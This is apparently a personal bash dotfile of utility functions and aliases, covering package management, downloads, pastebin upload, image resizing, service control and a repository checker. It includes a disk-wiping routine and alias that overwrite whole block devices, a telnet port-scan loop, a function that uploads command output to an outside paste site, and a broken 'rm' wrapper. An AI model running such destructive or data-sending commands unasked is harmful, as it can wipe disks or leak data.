	# http://iamstealingideas.wordpress.com/2010/05/20/writing-random-data-to-a-hard-drive-again
	msg() {
	  printf "\n - $1\n\n" $2
	}
	mbs=4 # 4mb
	blocksize=$(($mbs * 1024 * 1024))
	dev=$1
	if [[ -z $dev ]]; then
	  msg "usage: $0 <device>"; exit
	elif [[ ! -b $dev ]]; then
	  msg "$dev: not a block device"; exit
	elif [[ ! -w $dev ]]; then
	  msg "$dev: no write permission"; exit
	elif grep -q $dev /etc/mtab; then
	  msg "$dev: mounted filesystem on device, omgomg!"; exit
	fi
cat <<end
This program writes random data to a hard disk.
It is intended to be used before storing encrypted data.
It may contain bugs (but seems to work for me).
It seems you have chosen to wipe data from the disk $dev.
Here is the partition table of this disk:
end
	fdisk -l $dev
	echo
	echo 'Are you sure you want to proceed?'
	msg 'WARNING: IT WILL DESTROY ALL DATA ON THE DISK'
	read -p 'Type uppercase yes if you want to proceed: ' q
	if [[ $q != YES  ]]; then
	  exit
	fi
	while
	  echo $i > step.new
	  mv step.new step
	  msg 'Writing at offset %s' $(($mbs * $i))M
	  openssl rand \
			-rand /dev/urandom \
			$blocksize | \
	  dd of=$dev \
		bs=$blocksize \
		seek=$i
	do
	  let i++
	done
	msg Finished.
}
alias overwriter_='sudo dd if=/dev/zero bs=1M | openssl bf-cbc -pass pass:`cat /dev/urandom | tr -dc [:graph:] | head -c56` | sudo dd of=$dev bs=1M'

####### Ownership Changes { own file user }
function own() { chown -R "$2":"$2" ${1:-.}; }

####### packagehold Hold packages
function packagehold()
{
	echo -n "Please enter the package you wish to put a hold on:
	"
	read progID
	echo "$progID hold" |sudo dpkg --set-selections
}

###### packageunhold  Unhold packages
function packageunhold()
{
	echo -n "Please enter the package you wish to remove the hold on:
	"
	read progID
	echo "$progID install" |sudo dpkg --set-selections
}

####### Download all installed deb packages from official repos currently on system		 #
function packagelistdl()
{
	sudo dpkg --get-selections | awk '{ print $1};' | while read package; do apt-cache show "$package"| wget -c 'http://ae.archive.ubuntu.com/ubuntu/'`sed -ne '/^Filename/s/^Filename: //p'`; done
}

####### Pacman Search
function pacsearch() {
       echo -e "$(pacman -Ss $@ | sed \
       -e 's#core/.*#\\033[1;31m&\\033[0;37m#g' \
       -e 's#extra/.*#\\033[0;32m&\\033[0;37m#g' \
       -e 's#community/.*#\\033[1;35m&\\033[0;37m#g' \
       -e 's#^.*/.* [0-9].*#\\033[0;36m&\\033[0;37m#g' )"
}

####### Paste command output to www.pastehtml.com in txt format					 #
function paste() { curl -s -S --data-urlencode "txt=$($*)" "http://pastehtml.com/upload/create?input_type=txt&result=address";echo; }

####### Removes duplicate pathsNOTE: symlinks aren't dereferenced (e.g., using `readlink`) as they may exist for compatibility reasons
function pathremove() {
    local IFS=':'
    local newpath
    local i

    for i in ${!2}; do
        if [ "$i" != "$1" ]; then
            newpath=${newpath:+$newpath:}$i
        fi
    done
    export $2="$newpath"
}

####### Print character classes			 #
function pcharc() { perl -e 'for (0..255) {$_ = chr($_); print if /['$1']/}' | cat -v; echo; }

####### Quick plot of numbers on stdin (can also pass - plot paramaters) - requires gnuplot: sudo apt-get install gnuplot example: seq 1000 | sed 's/.*/s(&)/' | bc -l | plot linecolor 2
function plot() { { echo 'plot "-"' "$@"; cat; } | gnuplot -persist; }

####### Scans a port, returns what's on it.
function port() {
	lsof -i :"$1"
}

####### Portscan in one line
function portscan()
{
	$HOST=127.0.0.1;for((port=1;port<=65535;++port));do echo -en "$port ";if echo -en "open $HOST $port\nlogout\quit" | telnet 2>/dev/null | grep 'Connected to' > /dev/null;then echo -en "\n\nport $port/tcp is open\n\n";fi;done
}

####### Use Perl like grep
function prep() { perl -nle 'print if '"$1"';' $2 ; }

####### Find the printer driver (ppd) type being used
function printdriver() {
        lpoptions -d $1 | grep -oe "printer-make-and-model='.*'" | cut -f2 -d "=" | sed -r s/\'//g
}

######## Print a row of characters across the terminal - Default character is "=", default color is white
function println()
{
	echo -n -e "\e[038;05;${2:-255}m";printf "%$(tput cols)s"|sed "s/ /${1:-=}/g"
}

# Pronounce an English word - usage:	pronounce "word1" "word2" "word3" "..."
function pronounce() { for a in $@; do wget -qO- $(wget -qO- "http://www.m-w.com/dictionary/$a" | grep 'return au' | sed -r "s|.*return au\('([^']*)', '([^'])[^']*'\).*|http://cougar.eb.com/soundc11/\2/\1|") | aplay -q; done }

###### usage:	pronounce_ "word1" "word2" "word3" "..." requires 'mpg123' - sudo apt-get install mp321, but better dictionary
function pronounce_() { wget -qO- $(wget -qO- "http://dictionary.reference.com/browse/$@" | grep 'soundUrl' | head -n 1 | sed 's|.*soundUrl=\([^&]*\)&.*|\1|' | sed 's/%3A/:/g;s/%2F/\//g') | mpg123 -; }

####### Pull a single file out of a .tar.gz
function pullout() {
  if [ $# -ne 2 ]; then
    echo "need proper arguments:"
    echo "pullout [file] [archive.tar.gz]"
    return 1
  fi
  case $2 in
    *.tar.gz|*.tgz)
    gunzip < $2 | tar -xf - $1
    ;;
    *)
    echo $2 is not a valid archive
    return 1
    ;;
  esac
  return 0
}

####### Create QR codes from a URL
function qrurl() { curl -sS "http://chart.apis.google.com/chart?chs=200x200&cht=qr&chld=H|0&chl=$1" -o - | display -filter point -resize 600x600 png:-; }

####### Email yourself a short note			 #
#------------------------------------------////

function quickemail() { echo "$*" | mail -s "$*" [email protected]; }

####### Suppress output of loud commands you don't want to hear from					 #
function quietly() { "$@" |&:; }

function Quietly() { "$@" > /dev/null 2>&1; }

function quietly_() { $* 2> /dev/null > /dev/null; }

####### Turning on and off Internet radio
function radio() { if [ "$(pidof mpg123)" ] ; then killall mpg123; else mpg123 -q -@ http://173.236.29.51:8200 & fi }

####### Scroll file one line at a time (w/only UNIX base tools) - usage:	rd < file ; or ... | rd
function rd_() { IFS='<ctrl-m>';$@;for i in `sed 's.\\\.\\\134.g;s.%.\\\045.g'`;do printf "$i$IFS";sleep 1;done ; }

####### TTS
function readfile() { curl -sGA Mozilla -d "language=en&format=audio/mp3&options=MaxQuality&appid=To6RoRW0R9Pt9emvqxsqEImBiS_ElZ19Dxpu9j6WURkg*&text=`python3 -c 'from urllib.parse import quote_plus; from sys import stdin; print(quote_plus(stdin.read()))' <${1:?file name is empty}`" 'http://api.microsofttranslator.com/V2/Http.svc/Speak' | mpg321 -q -; }

####### Copy Relinux backups to '~/Backups' folder (only after Relinux has backed-up stuff)
function relinux-copy()
# requires: relinux (not yet available in PPA/repo)
{
    notify-send -t 3000 -i /usr/share/icons/gnome/32x32/status/info.png "Relinux ISO Copy Started"
    DISTRIB_ID=`cat /etc/lsb-release | grep DISTRIB_ID | cut -d '=' -f 2`
    DISTRIB_CODENAME=`lsb_release -cs | sed "s/^./\u&/"`
    if [ ! -d "$HOME/Backups" ]; then
    mkdir "$HOME/Backups"
    fi
    if [ ! -d "$HOME/Backups/$DISTRIB_ID $DISTRIB_CODENAME Backup `date +-%e-%m-%Y`" ]; then
    mkdir "$HOME/Backups/$DISTRIB_ID $DISTRIB_CODENAME Backup `date +-%e-%m-%Y`"
    cd "$HOME/Backups/$DISTRIB_ID $DISTRIB_CODENAME Backup `date +-%e-%m-%Y`"
    echo 'Password:		password' >> Password.txt
    cp /home/relinux/custom.iso "$HOME/Backups/$DISTRIB_ID $DISTRIB_CODENAME Backup `date +-%e-%m-%Y`"
    cd ..
    cd ..
    notify-send -t 3000 -i /usr/share/icons/gnome/32x32/status/info.png "Relinux ISO Copy Finished"
    else
    mkdir "$HOME/Backups/$DISTRIB_ID $DISTRIB_CODENAME Backup `date +-%e-%m-%Y_%H%M`"
    cd "$HOME/Backups/$DISTRIB_ID $DISTRIB_CODENAME Backup `date +-%e-%m-%Y_%H%M`"
    echo 'Password:		password' >> Password.txt
    cp /home/relinux/custom.iso "$HOME/Backups/$DISTRIB_ID $DISTRIB_CODENAME Backup `date +-%e-%m-%Y_%H%M`"
    cd ..
    cd ..
    notify-send -t 3000 -i /usr/share/icons/gnome/32x32/status/info.png "Relinux ISO Copy Finished"
    fi ;
}

####### Copy Remastersys backups to '~/Backups' folder (only after Remastersys has backed-up stuff)
#function remastersys-copy()
# requires: sudo apt-get install remastersys (Packet ist veraltet)
#{
#    notify-send -t 3000 -i /usr/share/icons/gnome/32x32/status/info.png "Remastersys ISO Copy Started"
#    DISTRIB_ID=`cat /etc/lsb-release | grep DISTRIB_ID | cut -d '=' -f 2`
#    DISTRIB_CODENAME=`lsb_release -cs | sed "s/^./\u&/"`
#    if [ ! -d "$HOME/Backups" ]; then
#    mkdir "$HOME/Backups"
#    fi
#    if [ ! -d "$HOME/Backups/$DISTRIB_ID $DISTRIB_CODENAME Backup `date +-%e-%m-%Y`" ]; then
#    mkdir "$HOME/Backups/$DISTRIB_ID $DISTRIB_CODENAME Backup `date +-%e-%m-%Y`"
#    cd "$HOME/Backups/$DISTRIB_ID $DISTRIB_CODENAME Backup `date +-%e-%m-%Y`"
#    echo 'Password:		password' >> Password.txt
#    cp /home/remastersys/remastersys/custom-backup.iso "$HOME/Backups/$DISTRIB_ID $DISTRIB_CODENAME Backup `date +-%e-%m-%Y`"
#    cd ..
#    cd ..
#    notify-send -t 3000 -i /usr/share/icons/gnome/32x32/status/info.png "Remastersys ISO Copy Finished"
#    else
#    mkdir "$HOME/Backups/$DISTRIB_ID $DISTRIB_CODENAME Backup `date +-%e-%m-%Y_%H%M`"
#    cd "$HOME/Backups/$DISTRIB_ID $DISTRIB_CODENAME Backup `date +-%e-%m-%Y_%H%M`"
#    echo 'Password:		password' >> Password.txt
#    cp /home/remastersys/remastersys/custom-backup.iso "$HOME/Backups/$DISTRIB_ID $DISTRIB_CODENAME Backup `date +-%e-%m-%Y_%H%M`"
#    cd ..
#    cd ..
#    notify-send -t 3000 -i /usr/share/icons/gnome/32x32/status/info.png "Remastersys ISO Copy Finished"
#    fi ;
#}

####### Reminder for whatever whenever
function remindme()
{
	sleep $1 && zenity --info --text "$2" &
}

####### Remount a device
function remount() {
    
    DEVICE=$1
    shift
    mount -oremount,$@ $DEVICE
}

###### Repeats a command every x seconds - Usage: repeat PERIOD COMMAND
function repeat() {
    local period
    period=$1; shift;
    while (true); do
        eval "$@";
    sleep $period;
    done
}

####### Add repo
function repoadd() {
    
    reprepro -Vb "$REPO_HOME" include "$REPO_DIST" *.changes
    cd "$REPO_HOME"/dists/"$REPO_DIST"
    gpg -abs -o Release.gpg Release
}

####### Repository update check
function repository-update-check() {
cat > "/tmp/repository-update-check.sh" <<"End-of-message"
#!/bin/bash
# created by unknown
# updated and tweaked by Inameiname (11 October 2011)
#Dependency check
    DEPENDENCIES="zenity curl"
    for dep in $DEPENDENCIES
    do
	which $dep &> /dev/null
	if [ $? -ne '0' ]
	then
	    echo "[ERR]: $dep Not Found in your path."
	    exit
	fi
    done
#Cleans last usage
    OLD_FILES="repositories"
    for old in $OLD_FILES
    do
	if [ -f /tmp/$old ];
	then
	    rm -fv -R /tmp/$old
	fi
    done
#Lists release, repos
    myrelease=$(grep 'DISTRIB_CODENAME' /etc/lsb-release | sed 's/DISTRIB_CODENAME=//' | head -1)
    #myrelease="saucy"
    repo_clean=$(ls /etc/apt/sources.list.d/ | grep -v .save)
    repo_list=$(cd /etc/apt/sources.list.d && cat $repo_clean /etc/apt/sources.list | grep deb\ http.* | sed -e 's/.*help\.ubuntu\.com.*//' -e 's/^#.*//' -e 's/deb\ //' -e 's/deb-src\ //' -e '/^$/d' | sort -u | awk '{print $1"|"$2}' | sed -e 's/\/|/|/' -e 's/-[a-z]*$//' | uniq && cd)
    #repo_list=$(cat dummy.sources.list | grep deb\ http.* | sed -e 's/.*help\.ubuntu\.com.*//' -e 's/^#.*//' -e 's/deb\ //' -e 's/deb-src\ //' -e '/^$/d' | sort -u | awk '{print $1"|"$2}' | sed -e 's/\/|/|/' -e 's/-[a-z]*$//' | uniq && cd)
    count_repos=$(echo $repo_list | wc -w)
    check_progress=$count_repos
    release_14="trusty"
    release_13="saucy"
    release_12="raring"
    release_11="quantal"
    release_10="precise"
    release_9="oneiric"
    release_8="natty"
    release_7="maverick"
    release_6="lucid"
    release_5="karmic"
    release_4="jaunty"
    release_3="intrepid"
    release_2="hardy"
    release_1="gutsy"
#Checks
    {
    for repo_0 in $repo_list
            do
	repo="$(echo $repo_0 | sed 's/|.*//')"
	rir="$(echo $repo_0 | sed 's/.*|//')"
            rir_list=$(curl --silent $repo/dists/ | grep -oi href\=\"[^\/].*/\" | sed -e 's/href\=\"//i' -e 's/\/\"//' -e 's/-.*//' -e 's/\ NAME.*//i' | sort -u | uniq)
	if [ '$rir_list' = '' ]
	then
	    rir_list=$(curl --silent $repo/ | grep -oi href\=\"[^\/].*\" | sed -e 's/href\=\"//i' -e 's/\/\"//' -e 's/-.*//' -e 's/\ NAME.*//i' -e 's/\/index\.html\"//' -e 's/.*".*//' -e 's/http.*//' | sort -u | uniq)
	fi
	#(I guess one will find something more elegant here)
	if [ $(echo "$rir_list" | grep -o $myrelease) ]
            then
                    echo "$myrelease " >> /tmp/repositories
            fi
	if [ '$rir_list' = '' ]
	then
	    echo "$myrelease " >> /tmp/repositories
	fi
            if [ $(echo "$rir_list" | grep -oi $release_14) ]
            then
                    r14="yes"
                    else
                    r14="no"
            fi
            if [ $(echo "$rir_list" | grep -oi $release_13) ]
            then
                    r13="yes"
                    else
                    r13="no"
            fi
            if [ $(echo "$rir_list" | grep -oi $release_12) ]
            then
                    r12="yes"
                    else
                    r12="no"
            fi
            if [ $(echo "$rir_list" | grep -oi $release_11) ]
            then
                    r11="yes"
                    else
                    r11="no"
            fi
            if [ $(echo "$rir_list" | grep -oi $release_10) ]
            then
                    r10="yes"
                    else
                    r10="no"
            fi
            if [ $(echo "$rir_list" | grep -oi $release_9) ]
            then
                    r9="yes"
                    else
                    r9="no"
            fi
            if [ $(echo "$rir_list" | grep -oi $release_8) ]
            then
                    r8="yes"
                    else
                    r8="no"
            fi
            if [ $(echo "$rir_list" | grep -oi $release_7) ]
            then
                    r7="yes"
                    else
                    r7="no"
            fi
            if [ $(echo "$rir_list" | grep -oi $release_6) ]
            then
                    r6="yes"
                    else
                    r6="no"
            fi
            if [ $(echo "$rir_list" | grep -oi $release_5) ]
	then
                    r5="yes"
        	else
                    r5="no"
            fi
            if [ $(echo "$rir_list" | grep -oi $release_4) ]
	then
                    r4="yes"
        	else
                    r4="no"
            fi
            if [ $(echo "$rir_list" | grep -oi $release_3) ]
	then
                    r3="yes"
        	else
                    r3="no"
            fi
            if [ $(echo "$rir_list" | grep -oi $release_2) ]
	then
                    r2="yes"
        	else
                    r2="no"
            fi
            if [ $(echo "$rir_list" | grep -oi $release_1) ]
	then
                    r1="yes"
        	else
                    r1="no"
            fi
	#results
	if [ "$rir" = "$release_14" ]
	then
	    results="$repo [$r14] $r13 $r12 $r11 $r10 $r9 $r8 $r7 $r6 $r5 $r4 $r3 $r2 $r1"
	elif [ "$rir" = "$release_13" ]
	then
	    results="$repo $r14 [$r13] $r12 $r11 $r10 $r9 $r8 $r7 $r6 $r5 $r4 $r3 $r2 $r1"
	elif [ "$rir" = "$release_12" ]
	then
	    results="$repo $r14 $r13 [$r12] $r11 $r10 $r9 $r8 $r7 $r6 $r5 $r4 $r3 $r2 $r1"
	elif [ "$rir" = "$release_11" ]
	then
	    results="$repo $r14 $r13 $r12 [$r11] $r10 $r9 $r8 $r7 $r6 $r5 $r4 $r3 $r2 $r1"
	elif [ "$rir" = "$release_10" ]
	then
	    results="$repo $r14 $r13 $r12 $r11 [$r10] $r9 $r8 $r7 $r6 $r5 $r4 $r3 $r2 $r1"
	elif [ "$rir" = "$release_9" ]
	then
	    results="$repo $r14 $r13 $r12 $r11 $r10 [$r9] $r8 $r7 $r6 $r5 $r4 $r3 $r2 $r1"
	elif [ "$rir" = "$release_8" ]
	then
	    results="$repo $r14 $r13 $r12 $r11 $r10 $r9 [$r8] $r7 $r6 $r5 $r4 $r3 $r2 $r1"
	elif [ "$rir" = "$release_7" ]
	then
	    results="$repo $r14 $r13 $r12 $r11 $r10 $r9 $r8 [$r7] $r6 $r5 $r4 $r3 $r2 $r1"
	elif [ "$rir" = "$release_6" ]
	then
	    results="$repo $r14 $r13 $r12 $r11 $r10 $r9 $r8 $r7 [$r6] $r5 $r4 $r3 $r2 $r1"
	elif [ "$rir" = "$release_5" ]
	then
	    results="$repo $r14 $r13 $r12 $r11 $r10 $r9 $r8 $r7 $r6 [$r5] $r4 $r3 $r2 $r1"
	elif [ "$rir" = "$release_4" ]
	then
	    results="$repo $r14 $r13 $r12 $r11 $r10 $r9 $r8 $r7 $r6 $r5 [$r4] $r3 $r2 $r1"
	elif [ "$rir" = "$release_3" ]
	then
	    results="$repo $r14 $r13 $r12 $r11 $r10 $r9 $r8 $r7 $r6 $r5 $r4 [$r3] $r2 $r1"
	elif [ "$rir" = "$release_2" ]
	then
	    results="$repo $r14 $r13 $r12 $r11 $r10 $r9 $r8 $r7 $r6 $r5 $r4 $r3 [$r2] $r1"
	elif [ "$rir" = "$release_1" ]
	then
	    results="$repo $r14 $r13 $r12 $r11 $r10 $r9 $r8 $r7 $r6 $r5 $r4 $r3 $r2 [$r1]"
	else
	    echo "$myrelease " >> /tmp/repositories
	    results="$repo [yes] [yes] [yes] [yes] [yes] [yes] [yes] [yes] [yes] [yes] [yes] [yes] [yes] [yes]"

	fi
	#finds status and stores results
	if [ $(echo "$results" | grep -o "\[no\]" | uniq) ]
            then
                    status="Error"
	fi
            if [ $(echo "$results" | grep -o "\[yes\]" | uniq) ]
	then
                    status="Ok"
	fi
#		if [ $(echo "$results" | grep -o "\[yes\]" | uniq) ] && [ "$rir" \< "$myrelease" ] && [ -n $(echo "$results" | grep -o "\[yes\]\ \[yes\]\ \[yes\]\ \[yes\]\ \[yes\]\ \[yes\]\ \[yes\]\ \[yes\]\ \[yes\]\ \[yes\]\ \[yes\]\ \[yes\]\ \[yes\]\ \[yes\]" | uniq) ] && [ echo "rir_list" | $(awk '{print $14 $13 $12 $11 $10 $9 $8 $7 $6 $5 $4 $3 $2 $1}' | grep $myrelease) ]
#		then
#			status="Upgradeable"
#		fi
#		if [ $(echo "$results" | grep -o "\[yes\]" | uniq) ] && [ "$rir" \> "$myrelease" ] && [ -n $(echo "$results" | grep -o "\[yes\]\ \[yes\]\ \[yes\]\ \[yes\]\ \[yes\]\ \[yes\]\ \[yes\]\ \[yes\]\ \[yes\]\ \[yes\]\ \[yes\]\ \[yes\]\ \[yes\]\ \[yes\]" | uniq) ] && [ echo "rir_list" | $(awk '{print $14 $13 $12 $11 $10 $9 $8 $7 $6 $5 $4 $3 $2 $1}' | grep $myrelease) ]
#		then
#			status="Downgradeable"
#	        fi
	#TODO should be $status $repo $r14 $r13 $r12 $r11 $r10 $r9 $r8 $r7 $r6 $r5 $r4 $r3 $r2 $r1
	echo "$status $results" >> /tmp/repositories
	#Zenity progressbar
    	percent=$((100-$check_progress*100/$count_repos))
    	check_progress=$(($check_progress-1))
    	echo $percent
	done
    } | zenity --progress --percentage=0 --title="Repositories" --text="Scanning repositories..." --auto-close
#Displays nicely
    if [ "$(cat /tmp/repositories | grep -c $myrelease)" = "$count_repos" ]
    then
	zeni_text="All the repositories you use support the $myrelease release."
    elif [ "$(cat /tmp/repositories | grep -c $myrelease)" = "1" ]
    then
	zeni_text="Only $(cat /tmp/repositories | grep -c $myrelease) of your $count_repos activated repositories supports the $myrelease release."
    else
	zeni_text="$(($count_repos - $(cat /tmp/repositories | grep -c $myrelease))) of your $count_repos activated repositories don't support the $myrelease release."
    fi
    if [ "$((100+$count_repos*25))" -gt "600" ]
    then
	window_height="600"
    else
	window_height="$((100+$count_repos*22))"
    fi
    zenity --title "Repositories" --text "$zeni_text" --width 800 --height $window_height --list --column "Status" --column "Repository" --column "$release_14" --column "$release_13" --column "$release_12" --column "$release_11" --column "$release_10" --column "$release_9" --column "$release_8" --column "$release_7" --column "$release_6" --column "$release_5" --column "$release_4" --column "$release_3" --column "$release_2" --column "$release_1" $(cat /tmp/repositories | sed s/$myrelease//)
End-of-message
chmod +x "/tmp/repository-update-check.sh"
"/tmp/repository-update-check.sh"
rm -fv -R "/tmp/repositories"
rm -fv -R "/tmp/repository-update-check.sh"
}

####### Set permissions to "standard" values (644/755), recursive - Usage: resetp
function resetp() {
    chmod -R u=rwX,go=rX "$@"
}

####### X DISPLAY functions
function reset_display()
{
    if [ "$SHLVL" -eq 1 ]; then
        echo $DISPLAY > $HOME/.display
    else
        if [ -e $HOME/.display ]; then
            export DISPLAY=$(cat $HOME/.display)
        fi
    fi
}

######
function set_xtitle()
{
    if [ $TERM == "xterm" ]; then
        echo -ne "\033]0;${USER}@${HOSTNAME}: ${PWD}\007"
    fi
}
# if [ "$UID" -ne 0 ]; then
#     reset_display
# fi

####### Resize images
function resizeimg()
{
		  NAME_="resizeimg"
		  HTML_="batch resize image"
	    PURPOSE_="resize bitmap image"
	    PURPOSE_="resize bitmap image"
	   SYNOPSIS_="$NAME_ [-hlv] -w <n> <file> [file...]"
	   REQUIRES_="standard GNU commands, ImageMagick"
	    VERSION_="1.2"
		  DATE_="2001-04-22; last update: 2004-10-02"
		AUTHOR_="Dawid Michalczyk <[email protected]>"
		   URL_="www.comp.eonworks.com"
	   CATEGORY_="gfx"
	   PLATFORM_="Linux"
		 SHELL_="bash"
	 DISTRIBUTE_="yes"
	# This program is distributed under the terms of the GNU General Public License
	usage () {
		echo >&2 "$NAME_ $VERSION_ - $PURPOSE_
		Usage: $SYNOPSIS_
		Requires: $REQUIRES_
		Options:
			-w <n>, an integer referring to width in pixels; aspect ratio will be preserved
			-v, verbose
			-h, usage and options (this help)
			-l, see this script"
		    exit 1
	}
	gfx_resizeImage() {
	    # arg check
	    [[ $1 == *[!0-9]* ]] && { echo >&2 $1 must be an integer; exit 1; }
	    [ ! -f $2 ] && { echo >&2 file $2 not found; continue ;}
	    # scaling down to value in width
	    mogrify -geometry $1 $2
	}
	# args check
	[ $# -eq 0 ] && { echo >&2 missing argument, type $NAME_ -h for help; exit 1; }
	# var init
	verbose=
	width=
	# option and arg handling
	while getopts vhlw: options; do
	    case $options in
		   v) verbose=on ;;
		   w) width=$OPTARG ;;
		   h) usage ;;
		   l) more $0; exit 1 ;;
		  \?) echo invalid argument, type $NAME_ -h for help; exit 1 ;;
	    esac
	done
	shift $(( $OPTIND - 1 ))
	# check if required command is in $PATH variable
	which mogrify &> /dev/null
	[[ $? != 0 ]] && { echo >&2 the required ImageMagick \"mogrify\" command \
	is not in your PATH variable; exit 1; }
	for a in "$@";do
	    gfx_resizeImage $width $a
	    [[ $verbose ]] && echo ${NAME_}: $a
	done
}

####### Daemon management				 #
function restart() { sudo /etc/rc.d/$1 restart; }
function start() { sudo /etc/rc.d/$1 start; }
function stop() { sudo /etc/rc.d/$1 stop; }

####### Restart the windows, only once		 #
#------------------------------------------////
function restowin() { sudo grub-set-default 3 && sudo reboot; }

####### Use binary notation to chmod a file		 #
#------------------------------------------////
function right() { bc <<< "obase=8;ibase=2;$1"; }; # touch foo; chmod $(right 111111011) foo; ls -l foo

####### Rip a file with handbrake and good options
function rip() {
	handbrake -i /dev/dvd -o ${HOME}/${1}.mp4 -L -U -F -f mp4 -e x264 -b 4000 -B 192
 }

####### Log rm commands
function rm() {         
	workingdir=$( pwdx $$ | awk '{print $2}' )         /bin/rm $*         echo "rm $* issued at $(date) by the user $(who am i| awk '{print $1} ') in the directory ${workingdir}"  >> /tmp/rm.out ; 
}

# Using associative array to remove all files and directories under PWD except
function rmall_but() { declare -A keep;for arg;do keep[$arg]=1;done;for file in *;do [[ ${keep[$file]} ]] || rm -rf "$file";done; }

####### Remove an inode via inode number
function rminode() {
        find . -inum $1 -exec rm -i {} \;
}

####### Roll - archive wrapper - usage: roll <foo.tar.gz> ./foo ./bar
function roll()
{
  FILE=$1
  case $FILE in
    *.tar.bz2) shift && tar cjf $FILE $* ;;
    *.tar.gz) shift && tar czf $FILE $* ;;
    *.tgz) shift && tar czf $FILE $* ;;
    *.zip) shift && zip $FILE $* ;;
    *.rar) shift && rar $FILE $* ;;
  esac
}

####### Removing all extended attributes from a directory tree
function rr()
{
    for i in $(ls -Rl@ | grep '^    ' | awk '{print $1}' | sort -u); \
       do echo Removing $i ... >&2;  \
       find . | xargs xattr -d $i 2>/dev/null ; done
}

####### Make a backup before editing a file
function safeedit() {
	cp $1 ${1}.backup && vim $1
}

####### Sanitize - set file/directory owner and permissions to normal values (644/755) - usage: sanitize <file>
function sanitize()
{
  chmod -R u=rwX,go=rX "$@"
  chown -R ${USER}:users "$@"
}

####### Save a specified directory
function save() { /usr/bin/sed "/$@/d" ~/.dirs > ~/.dirs1; \mv ~/.dirs1 ~/.dirs; echo "$@"=\"`pwd`\" >> ~/.dirs; source ~/.dirs ; }

####### Save a file to ~/Temp	
function saveit() {
	cp $1 ${HOME}/Temp/${1}.saved
}

####### Screencasting with mplayer webcam window
function screencastw()
{
	mplayer -cache 128 -tv driver=v4l2:width=176:height=177 -vo xv tv:// -noborder -geometry "95%:93%" -ontop | ffmpeg -y -f alsa -ac 2 -i pulse -f x11grab -r 30 -s `xdpyinfo | grep 'dimensions:'|awk '{print $2}'` -i :0.0 -acodec pcm_s16le output.wav -an -vcodec libx264 -vpre lossless_ultrafast -threads 0 output.mp4
}

#Search package database			 #
#------------------------------------------////

###### search Gentoo package database (portage) using eix $1 = search term (package name)
# Search all available w/ desc.; show summary
function sd() { eix -FsSc "$1"; }  

# Search exact available; show details
function se() { eix -F "^$1\$"; }  

# Search installed; show summary
function si() { eix -FIc "$1"; }   

# Search all available; show summary
function sp() { eix -Fc "$1"; }     

###### search Arch package database using pacman - $1 = search term (package name
function sp() {
    echo -e "$(pacman -Ss "$@" | sed \
        -e 's#^core/.*#\\033[1;31m&\\033[0;37m#g' \
        -e 's#^extra/.*#\\033[0;32m&\\033[0;37m#g' \
        -e 's#^community/.*#\\033[1;35m&\\033[0;37m#g' \
        -e 's#^.*/.* [0-9].*#\\033[0;36m&\\033[0;37m#g' ) \
        \033[0m"
}

###### search Debian (or Ubuntu) package database (apt) using dpkg - $1 = search term (package name)
function sp() { apt-cache search "$1" | grep -i "$1"; }  # search all available

####### Sed /pat/!d without using sed (no RE; limited to shell patterns aka globbing) - usage: se pattern # use in place of sed /pat/!d where RE are overkill
function se_() { while read a;do [ "$a" != "${a#*$@*}" ]&&echo $a;done ; }

####### Search and replace words/phrases from text file usage:	searchnreplace "whatever oldtext" "whatever newtext" "file(s) to act on"
function searchnreplace()
{
	# Store old text and new text in variables
	old=$1;
	new=$2;
	# Shift positional parameters to places to left (get rid of old and
	# new from command line)
	shift;
	shift;
	# Store list of files as a variable
	files=$@;
	a='';
	for a in $files
	 do
	  temp=$(echo "/tmp/$LOGNAME-$a");
	# echo "$temp";
	  echo -n ".";
	  sed -e "s/$old/$new/g" $a > $temp;
	  mv $temp $a;
	 done
	echo;
	echo -e "Searched $# files for '$old' and replaced with '$new'";
}

####### Sed edit-in-place using -a option instead of -i option (no tmp file created)	
function sedi() { case $# in [01])echo usage: sedi cmds file;;2)sed -an ''"$1"';H;$!d;g;w '"$2"'' $2;;esac; }

####### Auto send an attachment from CLI
function send() {
	echo "File auto-sent from linux." | mutt -s "See Attached File" -a $1 $2
}

####### Manage services
function service() {
  if [ $# -lt 2 ]; then
    echo "Missing service name or command"
    return 1
  fi
  sudo /etc/init.d/$1 $2 && return 0
}

###### service() { /etc/rc.d/$1 $2; }
function service_() {
        if [ -n "$2"  ]
        then
                /etc/rc.d/$1 $2
        else
                echo    "All daemons"
                ls --ignore=functions* /etc/rc.d/
                echo    "Running daemons"
                ls /var/run/daemons
        fi
}

####### Create a new script, automatically populating the shebang line, editing the script, and making it executable.				 #
function shebang() { if i=$(which $1); then printf '#!%s\n\n' $i >  $2 && vim + $2 && chmod 755 $2; else echo "'which' could not find $1, is it in your \$PATH?"; fi; }

####### Shot - takes a screenshot of your current	 window					 #
function shot()
{
	import -frame -strip -quality 75 "$HOME/$(date +%s).png"
}

####### Create an easy to pronounce shortened URL from CLI
function shout() { curl -s "http://shoutkey.com/new?url=$1" | sed -n 's/\<h1\>/\&/p' | sed 's/<[^>]*>//g;/</N;//b' ;}

####### To remind yourself of an alias (given some part of it)
function showa() { /usr/bin/grep -i -a1 $@ ~/.aliases.bash | grep -v '^\s*$' ; }

####### Colored word-by-word diff of two files - ex.: showdiff oldversion.txt newversion.txt
function showdiff()
{
	wdiff -n -w $'\033[30;41m' -x $'\033[0m' -y $'\033[30;42m' -z $'\033[0m' $1 $2
}

####### Show the contents of a file, including additional useful info	
function showfile()
{
	width=72
	for input
	do
	  lines="$(wc -l < $input | sed 's/ //g')"
	  chars="$(wc -c < $input | sed 's/ //g')"
	  owner="$(ls -ld $input | awk '{print $3}')"
	  echo "-----------------------------------------------------------------"
	  echo "File $input ($lines lines, $chars characters, owned by $owner):"
	  echo "-----------------------------------------------------------------"
	  while read line
	    do
		 if [ ${#line} -gt $width ] ; then
		   echo "$line" | fmt | sed -e '1s/^/  /' -e '2,$s/^/+ /'
		 else
		   echo "  $line"
		 fi
	    done < $input
	  echo "-----------------------------------------------------------------"
	done | more
}

####### ShowTimes: show the modification, metadatachange, and access times of a file	
function showTimes() { stat -f "%N:   %m %c %a" "$@" ; }

# Used by file		
#------------------------------------------////

###### sh_coloroff
function sh_coloroff()
{
	echo -en "$reset_color"
}

###### sh_colormsg
function sh_colormsg()
{
	[ -n "$1" ] && echo -en "${fg_bold}${@}${reset_color}"
}

###### sh_error
function sh_error()
{
	echo -e "${fg_bold}[ e ]${reset_color} $@"
}

###### sh_info
function sh_info()
{
	echo -e "${fg_bold}[ i ]${reset_color} $@"
}

###### sh_success
function sh_success()
{
	echo -e "${fg_bold}[ k ]${reset_color} $@"
}
